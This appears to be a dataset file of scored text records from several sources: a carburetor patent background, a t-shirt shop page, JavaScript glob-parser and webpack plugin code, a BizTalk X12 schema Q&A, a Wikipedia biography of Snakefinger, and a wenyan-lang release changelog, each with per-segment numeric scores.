"Description of Background Art\nAn engine is provided with a carburetor for charging air with a spray of liquid fuel, and an engine speed is changed by varying the amount of the opening of a throttle valve of the carburetor.",
"\nThe carburetor includes the throttle valve that is positioned in a barrel, and can be freely opened or closed via a throttle shaft. ",
"In response to the rider's throttle operation, the throttle shaft is turned, so that the carburetor changes the opening amount of the throttle valve, and controls the amount of an air-fuel mixture to be supplied to the engine.",
"\nThis carburetor is usually applied to various kinds of engines. ",
"For instance, it is used for supplying the air-fuel mixture to a compact and high output two-cycle engine in a motorcycle, a small leisure boat, or the like.",
"\nIn the foregoing engine, various measures such as sealing members have been provided in order to prevent water from entering into the engine. ",
"Specifically, such measures are essential in a motorcycle whose engine is often exposed to rainwater or a boat whose engine is affected by bilge.",
"\nHowever, the carburetor includes a throttle shaft which is rotatably attached to its body and is connected to a throttle wire for transmitting a throttle operation force, and an accelerating pump operating in response to the rotation of the throttle shaft. ",
"The throttle shaft has to be exposed from the carburetor body. ",
"Therefore, even when sealing members are attached to bearings of the throttle shaft, external water may enter into the carburetor via clearances that are caused by the rotating throttle shaft and the bearings. ",
"This means that water enters into the engine together with an air-fuel mixture.",
"\nThe foregoing situation will be described in detail with reference to a carburetor for a two-cycle boat engine.",
"\nIn a small leisure boat or the like, water usually enters into an engine room since water is splashed while propelling the boat through the water. ",
"Therefore, water tends to enter into the bearings of the throttle shaft not only from the exterior but also from the interior (i.e., a barrel passage), which often causes the bearings to rust or to become clogged with the salt that is in seawater.",
"\nIn order to overcome the foregoing problem, sealing members are usually attached to the bearings. ",
"When the sealing members are simply provided on an outer side of the bearings, it is impossible to prevent water, which is contained in the intake air, from entering into the bearings of the throttle shaft from the barrel passage (from the interior), because of capillary action. ",
"Therefore, the bearings have to be protected at the inner and outer sides by sealing members. ",
"Once such a sealing structure is utilized, water that is already present in the bearings, cannot be removed. ",
"This means that the bearings easily gather rust.",
"\nUnder the foregoing situation, carburetors for small boats do not usually have the sealing members. ",
"Large clearances are provided in the bearings in order to allow water to leave from the bearings.",
"\nHowever, when the bearings have large clearances, the throttle shaft is very shaky when it turns, which means that the carburetor tends to control the amount of fuel to be supplied to the engine with reduced precision, and becomes less durable. ",
"Further, it is necessary to precisely control the amount of fuel to be supplied in order to promote exhaust purification, but it difficult for such a carburetor to meet this requirement."
] | {
"pile_set_name": "USPTO Backgrounds"
} | [
0.0009391900966875255,
0.0006200182833708823,
0.001185585861094296,
0.0006065663183107972,
0.0007768897921778262,
0.000618481426499784,
0.0007695005042478442,
0.0006180651253089309,
0.0006237241323105991,
0.0007362825563177466,
0.0007715494139119983,
0.001114542712457478,
0.0007893986767157912,
0.0006556672742590308,
0.0005421330570243299,
0.0007074319291859865,
0.0006661719526164234,
0.0005492079653777182,
0.0006482818280346692,
0.000617652025539428,
0.0006476438720710576,
0.0005885756690986454,
0.0006540791946463287,
0.0006225606775842607,
0.0006471746019087732,
0.0006905776681378484
] | 0.000708 | 26 |
[
"This super-soft, baby-knit t-shirt looks great on both men and women. ",
"It is an updated unisex tee, which fits like a well-loved favorite. ",
"Made from 100% cotton, except for heather colors, which contain polyester.4.2 oz.",
",100% Combed and ring-spun cotton, Shoulder taping, Side seamed, Unisex fit;\n\nFulfillment availability(Where we send from) USA, UK, Canada\n\nWomen V-neck (DT6501)\n\nSize chart Chest: Measuredacross the chest one inch below armhole when laid flat.",
"Body Lenght at Back: Measured from high point of sholder from the backSleeve Length from Center Back: Measure from CB neck to Shouder Point to Finished Sleeve Hem\n\nSize\n\nChest\n\nBody Length at Back\n\nSleeve length from center back\n\nSmall\n\n19 inches (49cm)\n\n28 inches (71cm)\n\n17 inches (43cm)\n\nMedium\n\n20 inches (51cm)\n\n29 inches (74cm)\n\n17 3/4 inches (45cm)\n\nLarge\n\n20 ½ inches (52cm)\n\n30 inches (76cm)\n\n18 ½ inches (47cm)\n\nX-Large\n\n23 ½ inches (60cm)\n\n31 inches (79cm)\n\n19 ¼ inches (49cm)\n\n2X-Large\n\n25 ½ inches (65cm)\n\n32 inches (81cm)\n\n20 inches (51cm)\n\n3X-Large\n\n27 ½ inches (70cm)\n\n32 ½ inches (83cm)\n\n20 3/4 inches (53cm)\n\n4X-Large\n\n29 ½ inches (75cm)\n\n33 inches (84cm(\n\n21 ½ inches (55cm)\n\nA soft v-neck tee made to go with everything in your closet, 100% combed and ring-spun cotton, 4.3-ounce and 30 singles\n\nFulfillment availability(Where wesend from) USA, UK, Canada\n\nShow how proud you are to be a Vet Assistant with this Vet Assistant- Vet Assistant and Loving it T-shirt/ Hoodie design. ",
"Wear this t-shirt/ hoodie at your place of work and entertain your colleagues with some vet tech humour. ",
"This will be your comfiest piece to wear after your scrubs! ",
"Unique design for every vet tech or a vet tech to be who loves their profession!",
"\n\nAmazing way to treat yourself or show a vet tech how much you appreciate them by getting this as a gift for them! ",
"This is perfect for Birthday, Mother's day, Father's day, Christmas or any other special occasion.",
"\n\nAll products are made to order. ",
"We do our best to process them as soon as possible! ",
"Production time is 2-7 days. ",
"3 days in Average.",
"\n\nShipping time depends from the product and the location\n\nDomestic: 3 - 15 Days\n\nInternational: 2 - 4 Weeks\n\nHere are some great reasons to buy from us:\n\nWe stand by our quality and we will return your money or exchange any product that you don't like. ",
"If it doesn't fit, it breaks, you've changed your mind or for no reason whatsoever simply send it back to us and we'll cheerfully refund you every cent.",
"\n\nReturns are easy, simply contact us and we will let you know how to send your item to our returns center for fast processing. ",
"We'll get you a size replacement or refund in a snap!",
"\n\nOrdering from I Love Veterinary is 100% safe and secureso you can rest easy. ",
"Your personal details are never shared, sold or rented to anyone either.",
"\n\nIt is always challenging to get your size right without trying on, t-shirts, sneakers, anything from apparel and footwear. ",
"We've got you covered! ",
"We do FREE SIZE EXCHANGES!",
"\n\nProduct Details\n\nShow how proud you are to be a Vet Assistant with this Vet Assistant- Vet Assistant and Loving it T-shirt/ Hoodie design. ",
"Wear this t-shirt/ hoodie at your place of work and entertain your colleagues with some vet tech humour. ",
"This will be your comfiest piece to wear after your scrubs! ",
"Unique design for every vet tech or a vet tech to be who loves their profession!",
"\n\nAmazing way to treat yourself or show a vet tech how much you appreciate them by getting this as a gift for them! ",
"This is perfect for Birthday, Mother's day, Father's day, Christmas or any other special occasion.",
"\n\nAll products are made to order. ",
"We do our best to process them as soon as possible! ",
"Production time is 2-7 days. ",
"3 days in Average.",
"\n\nShipping time depends from the product and the location\n\nDomestic: 3 - 15 Days\n\nInternational: 2 - 4 Weeks\n\nWhy buy from Us?",
"\n\nHere are some great reasons to buy from us:\n\nWe stand by our quality and we will return your money or exchange any product that you don't like. ",
"If it doesn't fit, it breaks, you've changed your mind or for no reason whatsoever simply send it back to us and we'll cheerfully refund you every cent.",
"\n\nReturns are easy, simply contact us and we will let you know how to send your item to our returns center for fast processing. ",
"We'll get you a size replacement or refund in a snap!",
"\n\nOrdering from I Love Veterinary is 100% safe and secureso you can rest easy. ",
"Your personal details are never shared, sold or rented to anyone either.",
"\n\nIt is always challenging to get your size right without trying on, t-shirts, sneakers, anything from apparel and footwear. ",
"We've got you covered! ",
"We do FREE SIZE EXCHANGES!",
"\n\nReviews\n\nUnhappy With Your Product? ",
"We'll Take It Back!",
"\n\nWe stand by our high-quality products and your satisfaction is 100% guaranteed.",
"\n\nSecure Checkout\n\nWe use encrypted SSL security to ensure that your credit card information is 100% protected."
] | {
"pile_set_name": "Pile-CC"
} | [
0.003913878928869963,
0.0007225516019389033,
0.0008301795460283756,
0.0008253243286162615,
0.0021371208131313324,
0.01370313297957182,
0.2909824550151825,
0.0007055807509459555,
0.0005827111890539527,
0.0011277550365775824,
0.0006627147668041289,
0.0005883258418180048,
0.0006090158130973577,
0.000637168763205409,
0.0006787154707126319,
0.02195432037115097,
0.000545974588021636,
0.028722090646624565,
0.000576109392568469,
0.00129883480258286,
0.0017895526252686977,
0.0017856037011370063,
0.0007932818843983114,
0.0008260800968855619,
0.01370313297957182,
0.2909824550151825,
0.0007055807509459555,
0.0005827111890539527,
0.0011277550365775824,
0.0006627147668041289,
0.0005883258418180048,
0.0006090158130973577,
0.000637168763205409,
0.0006148339598439634,
0.0008626427734270692,
0.02195432037115097,
0.000545974588021636,
0.028722090646624565,
0.000576109392568469,
0.00129883480258286,
0.0017895526252686977,
0.0017856037011370063,
0.0007932818843983114,
0.0018040883587673306,
0.0011072889901697636,
0.0006645033718086779,
0.000728953629732132
] | 0.015954 | 47 |
[
"'use strict';\n\nvar brackets = require('expand-brackets');\nvar define = require('define-property');\nvar utils = require('./utils');\n\n/**\n * Characters to use in text regex (we want to \"not\" match\n * characters that are matched by other parsers)\n */\n\nvar TEXT_REGEX = '([!",
"@*?+]?\\\\(|\\\\)|[*?.+\\\\\\\\]|\\\\[:?(?=.*\\\\])|:?\\\\])+';\nvar not = utils.createRegex(TEXT_REGEX);\n\n/**\n * Extglob parsers\n */\n\nfunction parsers(extglob) {\n extglob.state = extglob.state || {};\n\n /**\n * Use `expand-brackets` parsers\n */\n\n extglob.use(brackets.parsers);\n extglob.parser.sets.paren = extglob.parser.sets.paren || [];\n extglob.parser\n\n /**\n * Extglob open: \"*(\"\n */\n\n .capture('paren.open', function() {\n var parsed = this.parsed;\n var pos = this.position();\n var m = this.match(/^([!@*?+])?\\(/);\n if (!",
"m) return;\n\n var prev = this.prev();\n var prefix = m[1];\n var val = m[0];\n\n var open = pos({\n type: 'paren.open',\n parsed: parsed,\n val: val\n });\n\n var node = pos({\n type: 'paren',\n prefix: prefix,\n nodes: [open]\n });\n\n // if nested negation extglobs, just cancel them out to simplify\n if (prefix === '!' && ",
"prev.type === 'paren' && prev.prefix === '!') {",
"\n prev.prefix = '@';\n node.prefix = '@';\n }\n\n define(node, 'rest', this.input);\n define(node, 'parsed', parsed);\n define(node, 'parent', prev);\n define(open, 'parent', node);\n\n this.push('paren', node);\n prev.nodes.push(node);\n })\n\n /**\n * Extglob close: \")\"\n */\n\n .capture('paren.close', function() {\n var parsed = this.parsed;\n var pos = this.position();\n var m = this.match(/^\\)/);\n if (!",
"m) return;\n\n var parent = this.pop('paren');\n var node = pos({\n type: 'paren.close',\n rest: this.input,\n parsed: parsed,\n val: m[0]\n });\n\n if (!",
"this.isType(parent, 'paren')) {\n if (this.options.strict) {\n throw new Error('missing opening paren: \"(\"');\n }\n node.escaped = true;\n return node;\n }\n\n node.prefix = parent.prefix;\n parent.nodes.push(node);\n define(node, 'parent', parent);\n })\n\n /**\n * Escape: \"\\\\.\"\n */\n\n .capture('escape', function() {\n var pos = this.position();\n var m = this.match(/^\\\\(.)/);\n if (!",
"m) return;\n\n return pos({\n type: 'escape',\n val: m[0],\n ch: m[1]\n });\n })\n\n /**\n * Question marks: \"?\"",
"\n */\n\n .capture('qmark', function() {\n var parsed = this.parsed;\n var pos = this.position();\n var m = this.match(/^\\?+(?!\\()/);\n if (!",
"m) return;\n extglob.state.metachar = true;\n return pos({\n type: 'qmark',\n rest: this.input,\n parsed: parsed,\n val: m[0]\n });\n })\n\n /**\n * Character parsers\n */\n\n .capture('star', /^\\*(?!\\()/)\n .capture('plus', /^\\+(?!\\()/)\n .capture('dot', /^\\./)\n .capture('text', not);\n};\n\n/**\n * Expose text regex string\n */\n\nmodule.exports.",
"TEXT_REGEX = TEXT_REGEX;\n\n/**\n * Extglob parsers\n */\n\nmodule.exports = parsers;\n"
] | {
"pile_set_name": "Github"
} | [
0.0008513887296430767,
0.015711568295955658,
0.0019046204397454858,
0.0007473275763913989,
0.000979951350018382,
0.003190218470990658,
0.0019155099289491773,
0.000790197984315455,
0.0014651819365099072,
0.001351530198007822,
0.0017729366663843393
] | 0.002789 | 11 |
[
"/*\r\n\tMIT License http://www.opensource.org/licenses/mit-license.php\r\n\tAuthor Tobias Koppers @sokra\r\n*/\r\nfunction NoErrorsPlugin() {}\r\nmodule.exports = NoErrorsPlugin;\r\nNoErrorsPlugin.prototype.apply = function(compiler) {\r\n\tcompiler.plugin(\"should-emit\", function(compilation) {\r\n\t\tif(compilation.errors.length > 0)\r\n\t\t\treturn false;\r\n\t});\r\n\tcompiler.plugin(\"compilation\", function(compilation) {\r\n\t\tcompilation.plugin(\"should-record\", function() {\r\n\t\t\tif(compilation.errors.length > 0)\r\n\t\t\t\treturn false;\r\n\t\t});\r\n\t});\r\n};\r\n"
] | {
"pile_set_name": "Github"
} | [
0.0012262178352102637
] | 0.001226 | 1 |
[
"Q:\n\nLogic Apps adding Schema to X12 Agreement\n\nI was asked to process a X12 document from an SFTP server which will have multiple GS/ST segments. ",
" So I decided to use Logic Apps with Enterprise Integration Pack. ",
" I've handled flat files before, but this solution will require me to use the X12. ",
" So I got to the point of adding the schemas to the Agreement, but it says there are \"No schemas found\". ",
" I assume by this message, it's not allowing me to use the flat file schema I uploaded. ",
" I can't find any documentation on this, other than how to upload, update and delete a schema file. ",
" What schema format should I be using for the agreement? ",
" Are they available anywhere?",
"\n\nA:\n\nThe X12 Agreement would only recognize the schemas that come with BizTalk. ",
" The Logic App's Agreements would not recognize \"homemade\" schemas.",
"\nI eventually found where I can get the BizTalk schemas. ",
" Here is what you can do to get it:\nHow to Install EDI Schema Files\nWhat I did was\n\ncreate a Windows 2016 VM\ninstall VS 2013\ninstall BizTalk 2013 R2 Evaluation\ncopy the file from C:\\Program Files (x86)\\Microsoft BizTalk Server 2013\nR2\\XSD_Schema\\EDI\\MicrosoftEdiXSDTemplates to my local machine\nrun the executable on my machine\n\nFYI: This executable stopped being available with free versions of BizTalk starting with 2016. ",
" This is why I used 2013 R2.",
"\nThere were some subtle differences between these schemas and the ones the Schema Editor created.",
"\nBizTalk schemas had:\n<xs:schema xmlns:btsedi=\"http://schemas.microsoft.com/BizTalk/2005/EdiSchemaEditorExtension\" xmlns:b=\"http://schemas.microsoft.com/BizTalk/2003\" xmlns=\"http://schemas.microsoft.com/BizTalk/EDI/X12/2006\" targetNamespace=\"http://schemas.microsoft.com/BizTalk/EDI/X12/2006\" version=\"1.0\" xmlns:xs=\"http://www.w3.org/2001/XMLSchema\">\n\nThe SDK Schema Editor created:\n<xs:schema xmlns:b=\"http://schemas.microsoft.com/BizTalk/2003\" xmlns:xs=\"http://www.w3.org/2001/XMLSchema\">\n\nThe BizTalk schemas had extra attributes. ",
" They had:\n\ntargetNamespace=\"http://schemas.microsoft.com/BizTalk/EDI/X12/2006\"\nxmlns:btsedi=\"http://schemas.microsoft.com/BizTalk/2005/EdiSchemaEditorExtension\"\n\nAlso to note, the Editor would create the first element as Root, and I believe the X12's wanted a very specific name in the format: X12_{veriosn}_{TransactionSet}.",
"\nAlso the X12 were UTF-8, whereas the Editor created UTF-16.",
"\n\n"
] | {
"pile_set_name": "StackExchange"
} | [
0.0005825831321999431,
0.0005866762367077172,
0.0006008243653923273,
0.000612327829003334,
0.0006175816524773836,
0.0007509369752369821,
0.0006398521363735199,
0.0007300687138922513,
0.005790891125798225,
0.000637528020888567,
0.0205291248857975,
0.001607495709322393,
0.0006713338079862297,
0.0006134789437055588,
0.0015188445104286075,
0.0006183708901517093,
0.0007717027910985053,
0.001995444530621171
] | 0.002215 | 18 |
[
"Snakefinger\n\nPhilip Charles Lithman (17 June 1949 – 1 July 1987), who performed under the stage name Snakefinger, was an English musician, singer and songwriter. ",
"A multi-instrumentalist, he was best known for his guitar and violin work and his collaborations with The Residents.",
"\n\nHistory\nLithman was born in Tooting, South London, and came from the British blues scene. ",
"He moved to San Francisco in 1971 and became associated with the avant-garde group The Residents. ",
" It is said he was given the name 'Snakefinger' by The Residents themselves based on a photograph of Lithman performing, in which his finger looks like a snake about to attack his violin.",
"\n\nIn 1972 Lithman returned to England and formed the pub rock band Chilli Willi and the Red Hot Peppers with Martin Stone, ex-member of Mighty Baby and a fellow ex-member of Junior's Blues Band. ",
" As a duo, they released the album Kings of Robot Rhythm. ",
"In 1974, as a full band and popular live act in Britain, they released Bongos Over Balham.",
"\n\nChilli Willi lasted until 1975, their last record not selling well, and by 1976 Lithman was back in the United States, this time in Los Angeles, California, seeking a recording contract, shopping his rock-style demos.",
"\n\nAfter a few years, Lithman moved back to San Francisco, reconnected with The Residents, and performed and recorded with them. ",
" Lithman's solo records, recorded under the name Snakefinger, were released by their record label Ralph Records.",
"\n\nHis first album on Ralph was Chewing Hides the Sound in 1979, featuring original material co-written with The Residents as well as esoteric covers like Kraftwerk's \"The Model\". ",
"The songs showcased Lithman's distinctive slide guitar playing and often surreal imagery. ",
"This album was followed by Greener Postures in 1980, which included his first solo compositions as Snakefinger.",
"\n\nWhile on tour in Australia in 1980, Lithman had a heart attack that left him hospitalised for six months.",
"\n\nIn 1982 Lithman formed his backing band The Vestal Virgins with former Captain Beefheart sideman Eric Drew Feldman. ",
" Snakefinger and The Vestal Virgins released Manual of Errors on Ralph in 1982. ",
"This was followed by the blues cover album Snakefinger's History of the Blues: Live in Europe in 1984. ",
"Lithman released his fourth and final album,Night of Desirable Objects in 1986, which consisted of largely original material.",
"\n\nLithman performed with The Residents on their 13th Anniversary Tour in 1986.",
"\n\nDeath\n\nOn 1 July 1987, Snakefinger and his band, The Vestal Virgins, arrived in Linz, Austria, on the European Night tour. ",
"The next morning, he was found dead in a guestroom of the Posthof Club where the band had been due to perform. ",
"He had suffered a heart attack. ",
"His single \"There's No Justice in Life\" was released on the same day.",
"\n\nDiscography\n\nChilli Willi and the Red Hot Peppers\n Kings of the Robot Rhythm (Revelation LP, 1972)\n Bongos over Balham (Mooncrest LP, 1974)\n I'll Be Home (rarities compilation) (Proper Records CD, 1996)\n\nSnakefinger\n The Spot (Ralph 7\", 1978)\n Chewing Hides the Sound (Ralph LP, 1979)\n The Man in the Dark Sedan / Womb to Worm (Ralph 7\", 1980)\n Greener Postures (Ralph LP, 1980)\n Manual of Errors (Ralph LP, 1982)\n Against the Grain (Ralph LP, 1983)\n Snakefinger's History of the Blues: Live in Europe (Rough Trade LP, 1984)\n Snakefinger's Vestal Virgins: Live in Chicago (Ralph cassette, 1986; Tec Tones CD, 1996)\n Night of Desirable Objects (Ralph LP, 1987, Tec Tones CD, 1993)\n Snakefinger: A Collection (East Side Digital CD, 1988)\n Philip Charles Lithman aka Snakefinger (UWEB CD, 1993)\n Live at the Savoy 1981 (CD Presents, 2010)\n\nAppearances on Residents albums\n \"Baby Sex\" (Unreleased; recorded 1971)\n \"Satisfaction\" (Ralph 7\", 1976)\n Fingerprince (Ralph LP, 1977)\n Duck Stab/Buster & Glen (Ralph LP, 1978)\n Eskimo (Ralph LP, 1979)\n Diskomo (Ralph EP, 1980)\n The Commercial Album (Ralph LP, 1980)\n The Tunes of Two Cities (Ralph LP, 1982)\n Residue of the Residents (Ralph LP, 1983)\n Title in Limbo (Ralph LP, 1983)\n The Thirteenth Anniversary Show (Multiple live recordings, 1985–1987)\n Stars & Hank Forever: The American Composers Series (Ralph LP, 1986)\n\nAppearances with The Club Foot Orchestra\n Wild Beasts (Ralph LP, 1986)\n\nCompilation\n Savoy Sound – Wave Goodbye (CD Presents, 1981)\n \"Potatoes: A Collection Of Folk Songs by Ralph Records\" (Ralph Records, 1987)\n song: 'The Ballad Of Sawney Beane/Sawney's Death Dance' by Snakefinger&His Midi-Evil Vestal Virgins\n \"Beets\" (Tec Tones, 1990)\n song: 'Reptology'\n\nCollaborators\n\nPaul Bailey (guitar, banjo, and sax player)\nDave Barret\nMichael \"Miguel\" Bertel (Rhythm Guitarist)\n6025 (former Dead Kennedys guitarist)\nBeth Custer\nRaoul N. Diseimbote (piano)\nDick 'Deluxe' Egner\nJosh Ende (wind, brass)\nEric Drew Feldman (worked with The Residents, Captain Beefheart, Pere Ubu, Pixies, P.J. Harvey, and Frank Black)\nOpter Flame\nGeorge B. George (bass player)\nBen Guy (bass player)\nDave Kopplin\nColin Hansford (guitar player)\nStephen MacKay (Tenor)\nRichard Marriott (wind, brass)\nPaul Riley (bass player)\nSteve Royal (drummer)\nJonny B. Ryan (Philip's drummer from 1980 onward)\nN. Senada (ethnomusicologist)\nMichael Steele (worked with The Bangles)\nMartin Stone (guitarist, literary expert)\nPete Thomas (drummer)\nDavid Whitten (bass player)\n\nExternal links\n Discogs Page\n Allmusic Biography\n\nReferences\n\nCategory:1949 births\nCategory:1987 deaths\nCategory:People from Tooting\nCategory:English guitarists\nCategory:English male guitarists\nCategory:British multi-instrumentalists\nCategory:British violinists\nCategory:British male violinists\nCategory:Musicians from London\nCategory:20th-century English musicians\nCategory:The Residents\nCategory:20th-century guitarists\nCategory:20th-century violinists\nCategory:Chilli Willi and the Red Hot Peppers members"
] | {
"pile_set_name": "Wikipedia (en)"
} | [
0.0008534216904081404,
0.0006288895383477211,
0.0007476445171050727,
0.0007098093628883362,
0.0011017564684152603,
0.0013636869844049215,
0.0006710165180265903,
0.0008621217566542327,
0.0008123964071273804,
0.0006840529968030751,
0.0006430926732718945,
0.0006584692746400833,
0.0006173230358399451,
0.0006380295380949974,
0.002382155740633607,
0.0014612650265917182,
0.0010618247324600816,
0.0006351972697302699,
0.0006363576394505799,
0.0006297013023868203,
0.0038136551156640053,
0.001694673323072493,
0.01824503019452095,
0.0010052032303065062,
0.000991480890661478
] | 0.001742 | 25 |
[
"# v0.3.2\n\n## Features\n- Use modern js syntax for compiled code (PR #574, thanks @tsao-chi)\n- Improved error handling (#566, 8bf7e0a)\n\n## Standard Library\n- Top-level array for Wonton (d8dfb63)\n- Fixes in 列經 (PR #578, thanks @wenfeng0218)\n\n## Examples\n- 玲瓏塔 (PR #578, thanks @wenfeng0218)\n- 漢諾塔·堆棧法 and 斐氏列·數組法 (PR #580, thanks @wenfeng0218) \n\n## Misc\n- The Online IDE moved to https://ide.wy-lang.org and [a separate repo](https://github.com/wenyan-lang/ide)\n\n## Thanks\nThanks for our first financial contributor @wenfeng0218 on [Open Collective](https://opencollective.com/wenyan-lang)! ",
"\n\n# v0.3.1\n\n## Standard Library\n- WONTON - JSON-ish Object Serialization, #560 for details\n- Math improves (PR #555, thanks @statementreply)\n\n## Fixes\n- Typescript typings (20cd77b7dac26b78033de78ae732e7bcff7338e6)\n\n## Examples\n- Chinese remainder theorem. (",
"PR #569, thanks @YuRen-tw)\n\n## Misc\n- Improve responsive for the website (PR #568, thanks @MaoSHYJ)\n\n# v0.3.0\n\n## BREAKING CHANGE: `compile` API change\n\nAs we mentioned in the [v0.2.0 release](https://github.com/wenyan-lang/wenyan/releases/tag/v0.2.0), the support of using `lang` as the first argument of `compile` is now REMOVED. ",
"Please use the new API instead.",
"\n\n```js\n// before\ncompile('js', source, { ... })\n// after\ncompile(source, { lang: 'js', ... })\n```\n\n## [New Online IDE](https://wy-lang.org/ide)\nThe fresh new Online IDE is now landed. ",
"With file explorer, rendering, a better editor, auto-complete, [wyg](https://github.com/wenyan-lang/wyg) support, dark mode and more. ",
"Please do check it out! (",
"PR #515 #526 #535 #536 #537 #546 #551 #552) \n\n![](",
"https://user-images.githubusercontent.com/7929704/72163213-68d0a480-3391-11ea-9196-9e21e5270149.png)\n![](",
"https://user-images.githubusercontent.com/7929704/72163214-68d0a480-3391-11ea-989f-21322555294c.png)\n\n## We are now moved to Typescript! ",
"\n\nWe have rewritten our codebase to Typescript. ",
"The typing declaration file is also shipped in [@wanyanlang/code](https://www.npmjs.com/package/@wenyan/core).",
"\n\nCheck out for #543 for more details.",
"\n\n### Features\n- Importing nested modules structure is now landed (PR #534, thanks @antfu)\n\n### Fixes\n- Functions containing elseif is miscompiled (PR #523, thanks @statementreply)\n\n### Stdlib\n- New 格物 library (PR #553, thanks @Fros1er)\n- Fix atan2(Infinity, Infinity) (PR #538 , thanks @statementreply)\n\n### Tests\n- A lot of tests have been added (#527, #530, thanks @statementreply)\n\n### Examples\n- Clock (#545, thanks @antfu)\n- Chinese-sqrt (增乘開平方術) (#550, thanks @jingkecn)\n\n\n# v0.2.4\n\n## import in, elseif, if true, if false, any\n\nThanks to everyone who contributed their ideas, a selection of proposed new syntaxes are now added\n\n| js/c++ | wenyan | issue |\n|-|-|-|\n| `continue` | `乃止是遍` | #392 |\n| `else if` | `或若` | #365 |\n| `if (ans) {` | `若其然者` | #513 |\n| `if (!",
"ans) {` | `若其不然者` | ditto |\n| `auto` | `元` | #486 |\n| `require('path/to/something')` | `吾嘗觀「「某樓」」中「「某閣」」中「「某書」」之書。",
"` | #475 |\n\nrefer to #519 for more details\n\n# v0.2.3\n\n## 序.wy\n\nThink `序.wy` the Wenyan version of `index.js`.",
"\n\nFor example, the reader now will search for a module `四庫全書` for a given path `/tmp/examples`\n\n- `/tmp/examples/四庫全書.wy`\n- `/tmp/examples/四庫全書/序.wy`\n\nThe first match will be imported. ",
"Refer to #512 for more details.",
"\n\n## 藏書樓\n\nThink `藏書樓` the Wenyan version of `node_modules`.",
"\n\n`藏書樓` will be included as `importPaths` by CLI automatically. ",
"It will do an up searching for `藏書樓` from the cwd (just as node did)\n\n\n# v0.2.2\n\n## New Website Domain http://wy-lang.org!",
"\n\nWe are now using Netlify to build our website & IDE. ",
"The legacy links will redirect to http://wy-lang.org automatically.",
"\n\n- New spec page, [check it out](https://wy-lang.org/spec)\n\n## Features\n- New option `importPaths` for specifying the import searching directories, (PR #499, by @antfu)\n- New option `allowHttp` for allowing import scripts from the web (default to `false`). ",
"refer to #499 for more details.",
"\n\n## Fixes\n- Fix for mismatched scope begin/end in typecheck (PR #496, thanks @statementreply)\n- Stdlib: Fix for some 曆法 functions (PR #503, thanks @statementreply)\n- Stdlib: Improve asin, acos and atan (PR #511, thanks @statementreply)\n\n## Examples\n- New example Pascal Triangle (PR #498, thanks @MerakDipper)\n\n# v0.2.1\n\n## Static Type Inference\n\nWhen the option is turned on, the compiler will now raise exceptions if your code does not typecheck. ",
"Also it is capable of producing type signatures for inspection, e.g. ./example/quicksort.wy produces the following:\n\n```\n[0-347] {\n 快排 : (('a) arr) -> (('a) arr)\n 己 : (num) arr\n [33-285] {\n 首 : ('a) arr\n 頷 : ('a) arr\n 尾 : ('a) arr\n 甲一 : 'a\n 甲餘 : ('a) arr\n 乙 : ('a) arr\n [136-201] {\n 丁 : 'a\n }\n }\n}\n```\n\nFor more detail, please refer to #486 \n\n### Standard Library\n\n- Fundamental Calendar library (PR #466, thanks @statementreply), check out [Standard Library cheatsheet](https://github.com/LingDong-/wenyan-lang/blob/master/documentation/Standard-Lib.md) for more details.",
"\n\n### 3rd Party Compilers\n\n- [JVM compiler](https://github.com/MagicLu550/wenyan-lang_jvm) by [MagicLu550](https://github.com/MagicLu550)\n\n### Fixes\n\n- Stdlib was not bundled correctly. (",
"PR #481, thanks @antfu)\n\n\n# v0.2.0\n\n## ⚠ BREAKING CHANGE: `compile` API change\nThe first argument lang move to option, please switch to new API.",
"\n\n```js\n//before\ncompile('js', source, { ... })\n// after\ncompile(source, { lang: 'js', ... })\n```\n\nThe old API is still functional for temporary backward compatible, the support **will be REMOVED in the next minor update.**",
"\n\n## Wenyan Snippets Site, #459\n\nPlease do check it out. ",
"Any feedbacks are welcome!",
"\n\n![](",
"https://user-images.githubusercontent.com/7929704/71650125-049f4800-2ce2-11ea-9f44-31c9b7e626d7.png)\n\n## New Execute API\nCheck out [API Document](https://github.com/LingDong-/wenyan-lang/blob/master/documentation/Compiler-API.md) and #473\n\n\n### Fixes\n- Fix compiler crash with 0-argument macros (PR #453, thanks @statementreply)\n- stdlib: Improve sin, cos and tan (^/1/3) (PR #457, thanks @statementreply)\n- bool2hanzi (PR #465, thanks @Fros1er)\n\n### Docs\n- Auto generates examples for README.md (PR #448, thanks @cuixiping)\n\n\n# v0.1.3\n\n## Macros (Experimental)\n\nAs you might (not) have noticed, *wenyan-lang* strives to be more readable (for ancient Chinese people). **",
"Macros** provide syntactic sugars to bring the 文采 of your code to the next level.",
"\n\nE.g. Now you can patch wenyan-lang's notorius print function like so:\n\n```\n或云「「書「甲」焉」」。",
"\n蓋謂「「吾有一言。曰「甲」。書之」」。",
"\n\n書「「問天地好在」」焉。",
"\n```\n\nSince we're beating JavaScript to macros, here is a rough C equivalence:\n\n```\n#define 書(甲)焉 吾有一言。曰甲。書之\n書(\"問天地好在\")焉。",
"\n```\n\nSee [**Full Documation**](https://github.com/LingDong-/wenyan-lang/blob/master/documentation/Macros.md), #440 for more details.",
"\n\n### Standard Library\nA new standard library `畫譜` that manipulates canvas on web pages. ",
"Check out the demo on Online IDE!",
"\n\n### Browser Runtime\nNew package [`@wenyan/runtime`](https://github.com/LingDong-/wenyan-lang/blob/master/documentation/Runtime.md) allowing you to run Wenyan direct in `<script>` tag of html! (",
"PR #433, thanks @antfu)\n\n### Docs\n- [**Standard library document**](https://github.com/LingDong-/wenyan-lang/blob/master/documentation/Standard-Lib.md) added. (",
"PR #432, thanks @antfu @statementreply)\n\n### Examples\n- New example 劉徽割圓術 (PR #431, thanks @cuixiping)\n\n### Testing\n- More testing cases for hanzi2num added (PR #442, thanks @kaiyuan01)\n\n\n# v0.1.2\n\n## Overhauled `hanzi2num` (PR #413, thanks [@statementreply](https://github.com/statementreply))\n- `塵埃渺漠` are now 10x each\n- The character for 10^28 is changed to `穰` (U+7A70).",
"\n- `一百一` = 101 now\n- Multi-character multipliers are no longer supported.",
"\n- Omitting `一` before fractional multipliers is no longer allowed. ",
"It's unclear whether `五毫絲` means 0.0051 or 5e-7, so I just disallowed it for now.",
"\n- Allow multiple multipliers: `一萬萬` = 1e+8, `一百絲` = 0.01.",
"\n- Add support for positional notation: `一三三七` = 1337\n- Add digit zero `〇` (exactly one digit of zero) and decimal separator `·`: `三五〇〇·〇一` = 3500.01\n- \"又\" can be used at more places: 三十又六 = 36\n\n### New Features\n- `『』` is now supported as string literals, an alternate of `「「」」` (5f698df434133d12b7c6027a197db634b91ace53), resolves #81 \n- `、` is now supported sentence separators. (",
